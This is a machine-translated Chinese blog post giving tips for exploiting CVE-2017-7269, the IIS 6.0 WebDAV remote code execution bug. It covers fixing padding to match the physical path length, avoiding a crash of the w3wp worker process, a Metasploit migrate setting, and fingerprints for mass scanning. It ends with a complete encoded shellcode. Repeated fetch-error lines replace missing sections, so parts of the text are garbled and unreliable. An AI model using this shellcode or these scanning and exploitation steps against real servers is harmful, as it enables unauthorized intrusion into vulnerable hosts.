CVE-2017-7269的几个技巧及BUG修正

看过了分析,来说说利用的几个小技巧。 1. 漏洞适用范围 原poc上面只写了适用于03 r2,实际上最常见的03 sp2也可以直接复现,这样子看来攻击范围是很大的,毕竟国内卖的大部分03都是企业版sp…

Failure when receiving data from the peer 毕竟,当你见面时,64位03并不多。 这样的32位环境可以通过以下方式构建: 复制代码 Cscript.exe%SYSTEMDRIVE%\ inetpub \ adminscripts \ adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1 IISRESET 关闭所有Web服务扩展后,添加指向%systemroot%\ syswow64 \ inetsrv \ httpext.dll的新扩展并启用它。

第三点是物理路径问题,是的,它是物理路径。 根据分析《CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit》(http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html),调试,您可以看到用于覆盖的缓冲区:

显然,这是在传递MapPath之后由If头中的第一个Url获得的物理路径。它不是默认路径,目录长度(包括尾部反斜杠)不是19,那么错误是不可避免的。 第二个Url是一样的。如果由于这个原因出现问题,它将返回500错误。

解决方案很简单:改变长度。 可以轻松添加小于19的路径:

实际上,路径通常大于19,并且需要删除填充。 ROP和stackpivot前面的填充实际上是一个UTF8编码字符。每三个字节被解码为UTF16字符的两个字节。0x58个字符无用于确保Exp不会出错。因此,您可以删除第一个0x108字节,并将其替换为0x58 a或b。 最终的Poc大致如下:

Failure when receiving data from the peer 您可以尝试的解决方案:找到一个辅助站,因为每个池都是一个单独的w3wp进程,另一个可以在其他池中尝试。 您还可以在多个线程中运行数万个静态文件。当配置的请求总数达到阈值时,某些虚拟主机将回收。 (获得电表后,我会尽快提升电源。顺便说一下,帮助管理员重新启动iis ..) 3.msf过程 默认情况下,msf将打开一个计算器,并且不排除单数管理员可能阻止该方的覆盖范围。 解决方案:配置PrependMigrateProc选项以更改exe,例如: 复制代码 设置PrependMigrateProc w3wp.exe

4.批量扫描指纹 在标准情况下,OPTIONS /应该返回200,并且返回头中的Allow字段应该包含PROPFIND

但是,有时防火墙会拦截OPTIONS,那么你可以尝试PROPFIND /,应该返回207,Content-Type是text/xml:

如果您想要精确,还可以将iis6短文件名漏洞添加到支持.net的网站。毕竟,不需要验证此漏洞。确保它是03: 复制代码 初始化.net环境 GET /1.aspx 如果有一个已知的长名称文件ABCDEFGHI.jpg GET /A*~1.jpg/1.aspx 404 GET /B* ~1.zzz/1.aspx 400

如果你只想验证而不考虑其他事情(记住十分钟后会发生什么?),可以使用exp直接验证。 在https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/,我看到了回声的想法。当然,我不能直接使用它。如果直接使用它,它只会导致w3wp重启。五次后,当前池将关闭,网站将被挂起。

解决方案也很简单,因为每个请求都在一个单独的线程中,然后只需在shellcode的末尾加入ExitThread即可退出。为了一般和简单,在这里使用0x010b系统调用,最终的shellcode是: VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQ AIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI 1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KP M0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8 KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKO XPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4 NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441UR NT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H3 52CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130 V15NMP2P0NQP7NMNWOBNV09KPM0A

5.有关权限的问题 Failure when receiving data from the peer